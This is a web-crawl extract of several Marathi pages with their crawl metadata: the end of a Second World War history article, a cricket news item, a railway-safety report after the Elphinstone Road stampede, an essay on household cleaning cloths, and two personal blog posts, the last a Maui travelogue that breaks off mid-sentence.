जर्मनीविरुद्ध युद्ध पुकारले. एका वर्षातच जर्मन सैन्याने नॉर्वे, नेदरलॅंड्‌स, बेल्जियम व फ्रान्स जिंकले. जून 1941 पर्यंत जवळ जवळ सर्व युरोप जर्मनांचे अधिपत्याखाली आला. इटलीने आफ्रिकेतील ब्रिटिश वसाहतीवर हल्ले सुरू केले होते. पण पूर्वेला ब्रिटिश बेटावर रॉयल एअर फोर्स व रॉयल नेव्हीने दिलेल्या कडव्या प्रतिकारामुळे जर्मनांना ब्रिटन घेता आले नाही. 22 जून 1941 रोजी अचानक रशियावर हल्ला करून जर्मन सैन्य मॉस्कोच्या वेशीवर पोहोचले पण रशियाचा प्रतिकार सुरू झाला. 7 डिसेंबर 1941 रोजी जपानने अमेरिकेच्या पर्ल हर्बर वर हल्ला करून अमेरिकेची खोडी काढली व अमेरिकेने युद्धात उतरण्याचा निर्णय घेतला. जर्मन, जपान व इटली एका बाजूला व दुसऱ्या बाजूस इतर 70 देश असे महायुद्ध पेटले. यावेळी ब्रिटनचे पंतप्रधान चर्चिल अमेरिकेचे अध्यक्ष फ्रॅंकलिन डी. रूझवेल्ट यांनी दोस्त राष्ट्रांची फळी उभारून जर्मनी जपान व इटलीला नामोहरम केले.\nऑगस्ट 1943 मध्ये जर्मनीच्या रोमेलने कॅथेरीनपासच्या लढाईत दोस्त सैन्याला चकविले होते पण ट्युनिशियातील लढाईत मात्र जर्मन फिके पडले व अडीच लाख सैनिकानी शरणागती पत्करली. त्यात बहुसंख्य इटालियन होते व भूमध्य सागरातील लंबक दोस्त राष्ट्रांचे बाजूने झुकला. आफ्रिकन लढाईत भारतीय सैन्याने केलेली कामगिरी उल्लेखनीय होती. दोस्त राष्ट्रांचे सैन्य इटलीच्या दाराशी येऊन ठेपताच इटलीतील मुसोलिनीचे सरकार गडगडले. राजा व्हिक्‍टर इमॅन्युएल तिसऱ्याने मुसोलिनीला पदच्युत केले व ग्रेट फॅसिस्ट काउन्सिलच्या संमतीने त्याला अटकही करवली.\nइटलीतील जर्मन सैन्याने शरणागती पत्करल्यावर मुसोलिनीने स्वित्झर्लंडला पळ काढण्याचा प्रयत्न केला पण इटलीतील क्रांतिकाऱ्यांनी त्याला पकडले व त्याची सोबतीण क्‍लारा पेटाचीसह त्यांना मृत्युदंड दिला. त्यांचे मृतदेह मिलानला नेण्यात आले व जाहीर स्थळी उलटे टांगण्यात आले. 16 एप्रिल 1945 रोजी लाल सैन्याने पोलिश सैन्याच्या 78,556 सैनिकांसह बर्लिनवर आक्रमण केले. 24 एप्रिलला सोविएत सैन्यातील तीन फौजांनी बर्लिनला पूर्णपणे वेढा घातला. शर्थीचा प्रयत्न म्हणून हिटरलने नागरिकांना फोक्‍सस्टर्म संघटनेत सहभागी होण्याचे आवाहन केले.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleअल्पवयीन मुलीचे अपहरण, बलात्कार करणाऱ्यास सक्तमजुरी\nNext article“स्मार्ट सिटी’चे सर्व प्रकल्प पिंपळे गुरवमध्येच कसे\n#विविधा: संसदपटू व घटनातज्ज्ञ बॅ. नाथ पै\n#नोंद: जिओ व स्थानिक केबल ऑपरेटर युती पथ्यावर\n#वास्तव: संघाचे “नवराष्ट्र’; सत्ताधाऱ्यांचे “मुक्‍त’ धोरण\n#दिशादर्शक: एक सुखद आठवण…\n#प्रासंगिक: नैसर्गिक संकटांशी लढताना…\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00321.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://mahasports.co.in/for-one-person-to-do-that-and-spoil-it-for-the-rest-of-the-indian-fans-its-pretty-disappointing/", "date_download": "2018-09-25T17:06:05Z", "digest": "sha1:VYJC4OCLHVQCXY6ZGDYOIXT6SWI63JHD", "length": 7417, "nlines": 61, "source_domain": "mahasports.co.in", "title": "काय झालं होत नक्की जेव्हा ऑस्ट्रेलिया संघाच्या गाडीवर दगडफेक झाली ? -", "raw_content": "\nकाय झालं होत नक्की जेव्हा ऑस्ट्रेलिया संघाच्या गाडीवर दगडफेक झाली \nकाय झालं होत नक्की जेव्हा ऑस्ट्रेलिया संघाच्या गाडीवर दगडफेक झाली \n परवा भारतीय संघावर विजय मिळवल्यावर जेव्हा ऑस्ट्रेलिया संघ हॉटेलकडे जात होता तेव्हा या संघाच्या बसवर दगडफेक झाली. त्यानंतर दुसऱ्या दिवशी अनेक चाहत्यांनी सॉरी ऑस्ट्रेलिया असे फलक घेऊन हॉटेल आणि विमानतळावर ऑस्ट्रेलियन खेळाडूंची माफी मागितली.\nआज ऑस्ट्रेलिया संघाच्या इंस्टाग्राम अकाउंटवर एक विडिओ शेअर करण्यात आला आहे. ज्यात ऑस्ट्रेलिया संघाचा फिरकी गोलंदाज ऍडम झाम्पा हा सर्व घटनाक्रम सांगताना दिसत आहे.\nझाम्पा म्हणतो, ” मी मोठ्या आवाजात हेडफोन लावून गाणी ऐकत होतो आणि बसमधून दुसऱ्या बाजूला पाहत होतो. तेवढ्यात खूप मोठा आवाज झाला. ”\n“५-६ सेकंद मला हे खूप भीतीदायक वाटलं. आमच्या सुरक्षेची काळजी घेणाऱ्या व्यक्तीने लगेच हा दगड असल्याचं आम्हाला सांगितलं. असं यापूर्वी आमच्यासोबत झालं नव्हतं. खूप भीती यावेळी वाटली. यापूर्वी बांग्लादेशातही असे झाले होते. आम्ही सर्वजण सुखरूप होतो. ”\nझाम्पा पुढे म्हणतो, ” भारतीय चाहते हे खूप मोठे क्रिकेटप्रेमी आहेत. त्यामुळे येथे प्रवास करणे हे खूप कठीण जाते. ते क्रिकेटवर खूप प्रेम करतात आणि त्यासाठी काहीही करायची त्यांची तयारी असते. एका व्यक्तीमुळे सर्वजण बदनाम होतात. तसेही गुवाहाटीमध्ये खूप कमी क्रिकेट खेळले जाते. “\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00321.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.loksatta.com/mumbai-news/facilities-reviewed-at-all-central-railway-stations-after-elphinstone-road-stampede-1664366/", "date_download": "2018-09-25T17:13:41Z", "digest": "sha1:TCTI4YCNLQHCB3PIWSDWNXCRQMJHN5GA", "length": 13663, "nlines": 209, "source_domain": "www.loksatta.com", "title": "facilities reviewed at all Central Railway stations after Elphinstone Road stampede | रेल्वे स्थानकांतील सुविधांचा आढावा | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nरेल्वे स्थानकांतील सुविधांचा आढावा\nरेल्वे स्थानकांतील सुविधांचा आढावा\nएल्फिन्स्टन रोड स्थानकातील पादचारी पुलावरील चेंगराचेंगरीच्या घटनेत २२ प्रवाशांचे बळी गेले.\nएल्फिन्स्टन रोड दुर्घटनेनंतर मध्य रेल्वेच्या सर्व स्थानकांवरील सर्वच सुविधांचा आढावा घेण्यात येत आहे\nमध्य रेल्वेची माहिती; खाद्यपदार्थ स्टॉल्स, प्रसाधनगृह इत्यादींची पाहणी करणार\nएल्फिन्स्टन रोड दुर्घटनेनंतर मध्य रेल्वेच्या सर्व स्थानकांवरील सर्वच सुविधांचा आढावा घेण्यात येत आहे. फलाटांवरील खाद्यपदार्थ स्टॉल्स, प्रसाधनगृह यासह आसनव्यवस्थेची माहिती घेण्यात येत असल्याचे विभागीय रेल्वे व्यवस्थापक एस.के. जैन यांनी दिली. हा आढावा घेतल्यानंतर गरज असेल तेथे आवश्यक सुविधा देण्यात येणार असल्याचे सांगितले.\nएल्फिन्स्टन रोड स्थानकातील पादचारी पुलावरील चेंगराचेंगरीच्या घटनेत २२ प्रवाशांचे बळी गेले. त्यानंतर रेल्वेकडून गर्दीच्या स्थानकातील काही सुविधांचाच आढावा घेतला जात होता. मात्र रेल्वेने आता स्थानकातील सर्वच सुविधांचा आढावा घेण्याचा निर्णय घेतला आहे. साधारण येत्या काही महिन्यांत परळ टर्मिनस होणार आहे. यात दोन्ही बाजूंना फलाट होईल. येथून परळ लोकलही सुटेल. हे पाहता सध्याच्या परळ स्थानकातील फलाटांवरही प्रवाशांना वावरण्यासाठी कितपत जागा आहे, त्याचा आढावा घेण्यात येत आहे.\nयासह कुर्ला, कांजूरमार्ग आणि अन्य काही स्थानकांत दोन्ही बाजूंना असणाऱ्या फलाटांचाही आढावा घेण्यात येत असल्याचे सांगण्यात आले. या स्थानकांबरोबरच सर्वच स्थानकांतील खाद्यपदार्थ आणि बुक स्टॉल्सचीही माहिती घेण्यात येत आहे.\nगर्दीच्या स्थानकात या सुविधांचा प्रवाशांना काही अडथळा ठरत आहे का आणि त्यामुळे कोणता धोका तर नाही ना याचा आढावा घेऊन सविस्तर अहवाल तयार केला जाणार आहे. त्याप्रमाणे स्टॉल्स हटविण्यात येतील किंवा त्याचा आकार कमी करण्याच्या सूचना केल्या जातील, असे सांगण्यात आले. स्थानकात आवश्यक प्रसाधनगृहांचीही माहिती घेण्यात येईल.\nचर्चगेट स्थानकाप्रमाणेच सीएसएमटी स्थानकातही प्रवाशांसाठी नवीन आसनव्यवस्था केली जात आहे. अशा प्रकारची आसनव्यवस्था लोकप्रतिनिधींच्या निधीतून अन्य स्थानकातही करण्यात येणार असल्याचे जैन म्हणाले.\n१७ पादचारी पुलांची उभारणी\nमध्य रेल्वेने १७ पादचारी पुलांची उभारणी सुरू केली आहे. आणखी २२ पादचारी पुलांची उभारणी लवकरच केली जाणार असून सरकते जिने आणि उद्वाहक उभारण्याचे कामही होत असल्याचे सांगण्यात आले.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00321.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://www.loksatta.com/vastu-lekh-news/cleanliness-devices-1650551/", "date_download": "2018-09-25T17:29:56Z", "digest": "sha1:REO4EROYVQ2Q66UNYCP2WFTCMIXTOC3I", "length": 19257, "nlines": 206, "source_domain": "www.loksatta.com", "title": "cleanliness devices | स्वच्छतेच्या साधनांमागची मानसिकता! | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nपायपुसणी आणि फडकी यांच्या नशिबी असे मानाने गिफ्ट म्हणून जाणे देखील नाही.\nआपल्याला एखादी गोष्ट टाकून द्यायची आहे, नकोशी झालेली आहे, पसारा वाटते आहे म्हणून फेकतोच आहोत; तर त्यातही चॅरिटी करू आणि कसे थोर समाजकार्य केले, असे मिरवू ही एक टिपिकल मानसिकता असते. घरातले नकोसे झालेले कपडे, चादरी जणू कचरा फेकावा, ‘छूटकारा मिल गया’ थाटात गरिबांना दिल्या जातात. वर, कपडे ही कशी मूलभूत गरज आहे, आणि आपण कोणाची गरज कशी भागवली, ही भावना उरी बाळगून स्वत:वर खूश होण्यात डुंबत बसायचे कपडे ही मूलभूत गरज असेल, तर नवीन कपडे द्यायला कोणी रोखलेले नसते. झेपेल तितके असेही करता येतेच की कपडे ही मूलभूत गरज असेल, तर नवीन कपडे द्यायला कोणी रोखलेले नसते. झेपेल तितके असेही करता येतेच की परंतु ते कशाला करायचे परंतु ते कशाला करायचे झळ न सोसता सहजच कोणावर उपकार करून ठेवता आले तर बरेच, हा तो विचार असतो. हा एक मुद्दा झाला. जुन्या चादरी, टॉवेल्स, कपडे यांना घरातून काढून टाकायचे. दुसरा मुद्दा- आपल्या घरात गिफ्ट्स म्हणून काय काय येऊन पडते झळ न सोसता सहजच कोणावर उपकार करून ठेवता आले तर बरेच, हा तो विचार असतो. हा एक मुद्दा झाला. जुन्या चादरी, टॉवेल्स, कपडे यांना घरातून काढून टाकायचे. दुसरा मुद्दा- आपल्या घरात गिफ्ट्स म्हणून काय काय येऊन पडते बहुतांश गोष्टी शोच्या असतात. त्यात खरोखर काहीतरी चांगल्या कलाकृती असतात. पण चांगल्या कलाकृती आहेर किंवा गिफ्ट प्रकारात देणे म्हणजे खूपच अपेक्षा झाली. निरुपयोगी मूर्ती, प्लॅस्टिकची फुले, भिंतीवरची घडय़ाळे, लाइटवर चालणाऱ्या इलेक्ट्रिक वस्तू, नको होतील इतके बाऊल सेट असे काहीतरी घरात येऊन पडते .\nपायपुसणी आणि फडकी यांच्या नशिबी असे मानाने गिफ्ट म्हणून जाणे देखील नाही. उपयोगाच्या, वापरल्या जातील अशा गोष्टी भेट द्यायला जणू बंदी घातलेली आहे, इतक्या प्रमाणात निरुपयोगी वस्तूंची ‘भेट’ म्हणून देवघेव होते. एखाद्या आर्ट गॅलरीच्या महागडय़ा ग्रिटिंग कार्डाचे करायचे काय निव्वळ घरात डांबून ठेवायचा कागदाचा तुकडा, असे कोणी त्याकडे बघेल. बरं, ग्रिटिंग कार्ड कसे देणार नुसतेच, म्हणून अजून एखादी तशीच निरुपयोगी वस्तू सोबतीला जोडली जाते. त्यापेक्षा वापरले जाईल असे काहीही देता येऊ शकते. पायपुसणी आणि फडकी याच्या नशिबी असा मान विरळाच निव्वळ घरात डांबून ठेवायचा कागदाचा तुकडा, असे कोणी त्याकडे बघेल. बरं, ग्रिटिंग कार्ड कसे देणार नुसतेच, म्हणून अजून एखादी तशीच निरुपयोगी वस्तू सोबतीला जोडली जाते. त्यापेक्षा वापरले जाईल असे काहीही देता येऊ शकते. पायपुसणी आणि फडकी याच्या नशिबी असा मान विरळाच तर ट्राय करून बघू अशा गिफ्ट्स. आपल्यात कळत नकळत जे स्टेट्स सिम्बॉल्स आपल्या विचारांत घुसलेले असतात, आपल्यावर हावी होत असतात, त्यांना शांतपणे समजून घ्यायची नामी संधीच म्हणता येईल ही\n‘‘आयुष्यभरकष्ट केले, आता चार सुविधा हव्यात, कचकच नको कसली, ही भारतातल्या आधीच्या पिढीतल्या अनेक नवश्रीमंतांची गोष्ट असू शकते. क्रयशक्ती वाढल्याने आणि खरोखर काडी काडी जमवून त्यांनी घर उभे केल्याने ते आता मॉलमधून फडके, पायपुसणी, स्वच्छतेची विविध साधने, मॉप्स वगैरे आणू शकतात. तरी जुन्या सवयी जात नसल्याने वापरून टाकू प्रकारच्या गोष्टीही करत असतात. जुन्या चादरींचे, पडद्यावरचे, कपडय़ांचे टॉवेल्स आणि नॅपकिन्सचे फडके इकडे दिसू शकते. एखादी गोष्ट पुरेपूर वापरून मग टाकावी, असाही गट मोठाच असतो. पण पुरेपूर वापरात गचाळपणा आणि लक्तरं दिसायला नकोत, ही खबरदारी त्यांना पुरेशी जमत नाही. त्यांच्यामुळेच ‘‘शी, ते काय डाऊन मार्केट’’ म्हणणारे वर उल्लेखलेले लोक तयार होत असतात.\nपुसायचे फडके नीटनेटके, स्वच्छ असणे, पायपुसणे स्वच्छ असणे आणि खूप काही खर्च न होता जरा बऱ्या दर्जाचे काही वरचेवर वापरता, बदलता येणे, यासाठी घरातल्या जुन्या कापडाचा खूपच चांगला वापर होऊ शकतो. सोपा आणि उत्तम उपाय म्हणजे जुन्या उशीच्या खोळीत तशीच कापडे कापून टाकून एका बाजूने आणि मध्ये शिवून घेणे. मोठय़ा सुईने हाताने देखील ते शिवता येते. मशीनच पाहिजे, असे नाही. जुन्या चादरी, पडदे, ओढण्यांमध्ये धान्याची जुनी छोटी पोती टाकून शिवून घेता येते. मोठय़ा सुयांनी हवे तसे पायपुसणे, फडके चटकन शिवून देणाऱ्या बायका अजूनही काही शहरांत घरोघरी फिरत असतात. चिंध्या करून त्यांचे गालिचे, पायपुसणे देखील त्या लगेच किंवा दोन दिवसांत तयार करून देतात. होलसेलने टॉवेल्स, नॅपकिन्स विकणाऱ्या दुकानांत मॉल्सइतकीच किंवा त्याहून जास्त व्हरायटी पुसायच्या फडक्यांची मिळू शकते. जुनी ब्लाऊज पिसं, कॉटन वेस्ट, चांगली पण उसवलेली, जराशी रंग पडलेली पण रिजेक्ट झालेली कापडं इथे नगाने, डझनाने, किलोने अतिशय स्वस्त दरात मिळतात.तुमच्याकडच्या कोणत्याही सुती कापडाला चारी बाजूने एखादी पट्टी शिवून चांगले फडके कुठे कुठे शिवून मिळते. तिथे एखादी टीप कमी जास्त झाली, आडवी तिरपी झाली, तर चालते. त्यामुळे, जुने कापड फाडणे आणि शिवणे हे एक उत्तम स्ट्रेस बस्टर म्हणून देखील बघता येते. घरात, घराबाहेर अनेक जागा अशा असतात की त्या सातत्याने धुळीने माखून घेतात स्वत:ला. तिथे जुने-फाटके पण धुतलेले सॉक्स, बनिअन्सचे तुकडे एकदा वापरून टाकून देता येतील, असे वापरता येतात. स्वयंपाकघरात अंतर्वस्त्र वापरण्यापेक्षा हे नक्कीच बरे. अनेक घरांमध्ये केवळ जेष्ठ नागरिक राहत असतात. हात-पाय चालावे म्हणून थोडीफार कामे करतात दिवसभर. त्यांना अशी छोटय़ा कपडय़ाच्या तुकडय़ांची सोय फारच कामास येते. धुऊन वापरायचे काम वाचते. एरवीही कुठे आणि किती धुळीचे ते काम आहे, त्यानुसार अशी छोटय़ा छोटय़ा कापडाची वर्णी लावता येते. चांगली फडकी दुसऱ्या त्याहून बऱ्या सफसफाईला वापरता येतात. धुऊन परत परत वापरता येतात.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nAsia Cup 2018 Ind vs Afg Live : लोकेश राहुलही माघारी परतला, भारताला...\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00321.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/02/blog-post_06.html", "date_download": "2018-09-25T17:46:16Z", "digest": "sha1:U4QJ6YCAX3BCIYU26PDU4DQHR7S2SNCJ", "length": 2869, "nlines": 55, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: मीटिन्ग्ज", "raw_content": "\nसल्लू ... अजून १० मिनिटात एक मीटिंग आहे हा असा दिवस सुरु होतो बघ हा असा दिवस सुरु होतो बघ ईस्ट कोस्ट किंवा भारतातून कोणी तरी कामाला सुरुवात करतो आणि मी हां असा सकाळी सकाळी घरातुनाच तो कॉल घेतो ईस्ट कोस्ट किंवा भारतातून कोणी तरी कामाला सुरुवात करतो आणि मी हां असा सकाळी सकाळी घरातुनाच तो कॉल घेतो अलीकडे फक्त locally काम करणे अशक्यच आहे अलीकडे फक्त locally काम करणे अशक्यच आहे सगळेच जण जगभर विखुरलेले सगळेच जण जगभर विखुरलेले\nतुला दुसरेच काही सांगायचे आहे सध्या सा रे गा म प् little champs म्हणुन खूपच छान मलिका चालू आहे सध्या सा रे गा म प् little champs म्हणुन खूपच छान मलिका चालू आहे इतकी लहान मुले इतकी अशक्य गात आहेत की काही विचारू नकोस इतकी लहान मुले इतकी अशक्य गात आहेत की काही विचारू नकोस मला स्वतःला कार्तिकी गायकवाड आवडते मला स्वतःला कार्तिकी गायकवाड आवडते तिची स्वरांवर अतीशय चांगली (नव्हे स्वर्गीय) पकड़ आहे तिची स्वरांवर अतीशय चांगली (नव्हे स्वर्गीय) पकड़ आहे वैसे तो और भी लोग गा बजा रहे है वैसे तो और भी लोग गा बजा रहे है परन्तु कार्तिकी देविंचा विजय असो परन्तु कार्तिकी देविंचा विजय असो\nअसो ... आता इतके पुरे .... बाकि विक एंड ला बोलूच .....\nओबामा - ३७ दिवसांचा आढावा\nपाठीचे दुखणे आणि सोनाली ची ग्लूकोज चाचणी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00322.warc.wet.gz", "language": "mr", "language_score": 0.69, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/12/blog-post_27.html", "date_download": "2018-09-25T17:46:35Z", "digest": "sha1:I5CIBWTDN5QTKN7STFWGBGU5NJP3SDOS", "length": 13578, "nlines": 63, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: हवाहवाई - भाग १ माऊई कडे प्रयाण", "raw_content": "\nहवाहवाई - भाग १ माऊई कडे प्रयाण\nमाऊईहुन परत येऊन ७ दिवस झाले परंतु अजुनही मन तिथेच आहे. अजुनही असेच वाटते आहे की सकाळी उठले की पहिली गोष्ट दृष्टीस पडेल ती म्हणजे घनदाट झाडांमधुन आकाशाकडे झेपावणारे, गवताच्या पात्यांसारखे माड आणि त्यांच्या पाठीमागे ढगांनाही भेदुन आकाशाचे चुंबन घेऊ पाहणारा उत्तुंग हालेयाकाला पर्वत. अजुनही लाटांचे आवाज येत आहेत. अजूनही असेच वाटते की घराबाहेर गाडी काढली की वडांच्या रांगा समोर येतील. उसांची शेती दिसेल ... निळ्याशार पाण्याशेजारुन वळण घेत जाणारे रस्ते लागतील. माऊईचे सौंदर्य नुसते प्रेक्षणीय नाही तर भावनिक वाटले. कदाचित कुठेतरी भारताची आठवण झाली. रोजच्या दगदगीतुन विरंगुळा मिळाला, निर्भेळ आनंदाचा सहवास मिळाला, मातीचा वास मिळाला, मध्येच गोवा, मध्येच सह्याद्री, मध्येच घाटाचा सुगंध मिळाला \nतशी काही फार काही पूर्वनियोजित सहल नव्हती ही. मनात बर्याच दिवसांपासुन होते की हवाईला जायचे. दोन महिन्यांपूर्वी सहजच पाहिले तर सगळे काही जमुन आले. त्यातुन यावर्षी भारतभेटही नसल्यामुळे सुटीत काय करावे असा प्रश्न होताच. कॅलिफोर्निया, नेवाडा यापूर्वीच ५-१० वेळा फिरुन आलेलो. मेनलॅण्ड वर फ्लोरिडा आणि वायोमिंग वगळता मुख्य सर्व काही एव्हाना पाहुन झाले आहे. अगदी कोलोरॅडो राहिले होते ते ३ महिन्यांपूर्वी केले तुझ्याबरोबरच. कोलोरॅडोची मजा काही वेगळीच. १२००० फुटांच्या वर २०० शिखरे असलेले राज्य ग्रॅण्ड कॅनियन तयार करणार्या कोलोरॅडो नदीचा उगम होतो त्या रॉकीज पर्वतांचे राज्य ग्रॅण्ड कॅनियन तयार करणार्या कोलोरॅडो नदीचा उगम होतो त्या रॉकीज पर्वतांचे राज्य निसर्गाचे मला नेहेमीच आकर्षण वाटले आहे. मग तो समुद्र किनारा असो किंवा ढाकबहिरीची पर्वत कपारी मधील गुहा. त्यामुळे कोलोरॅडो पहायला नक्कीच आवडले. तुझा पहिला विमान प्रवास. सहल तशी छानच झाली होती. परंतु कोलोरॅडोच्या प्रवासात कारचा खूपच प्रवास झाला. डेन्व्हर-रॉकिज माऊंटेन-डेन्व्हर-ऍस्पेन-ग्रॅण्ड जन्क्शन-डेन्व्हर-फोर्ट कॉलिन्स-डेन्व्हर-फोर्ट कॉलिन्स-डेन्व्हर असा १००० मैलांचा प्रवास ४ दिवसात केला (तुम्हा दोन नक्षत्रांना घेऊन) निसर्गाचे मला नेहेमीच आकर्षण वाटले आहे. मग तो समुद्र किनारा असो किंवा ढाकबहिरीची पर्वत कपारी मधील गुहा. त्यामुळे कोलोरॅडो पहायला नक्कीच आवडले. तुझा पहिला विमान प्रवास. सहल तशी छानच झाली होती. परंतु कोलोरॅडोच्या प्रवासात कारचा खूपच प्रवास झाला. डेन्व्हर-रॉकिज माऊंटेन-डेन्व्हर-ऍस्पेन-ग्रॅण्ड जन्क्शन-डेन्व्हर-फोर्ट कॉलिन्स-डेन्व्हर-फोर्ट कॉलिन्स-डेन्व्हर असा १००० मैलांचा प्रवास ४ दिवसात केला (तुम्हा दोन नक्षत्रांना घेऊन) त्यामुळे निवांतपणा जरा कमी मिळाला. त्यामुळे त्याचवेळी ठरवले होते की पुढची सहल शांतपणे करायची. एकाच ठिकाणी जायचे आणि तंबु ठोकुन तिथेच रहायचे.\nमाऊई हे हवाई या राज्यातिल एक बेट. हवाई हे बेटांचेच राज्य आहे. चहुबाजुला ३००० मैलापर्यंत प्रशांत महासागर पसरलेला. मध्येच हे सृष्टीचे नंदनवन साकारलेले. एकाचवेळी समुद्र, पर्वत, बर्फ, वाळवंट, ज्वालामुखी अश्या 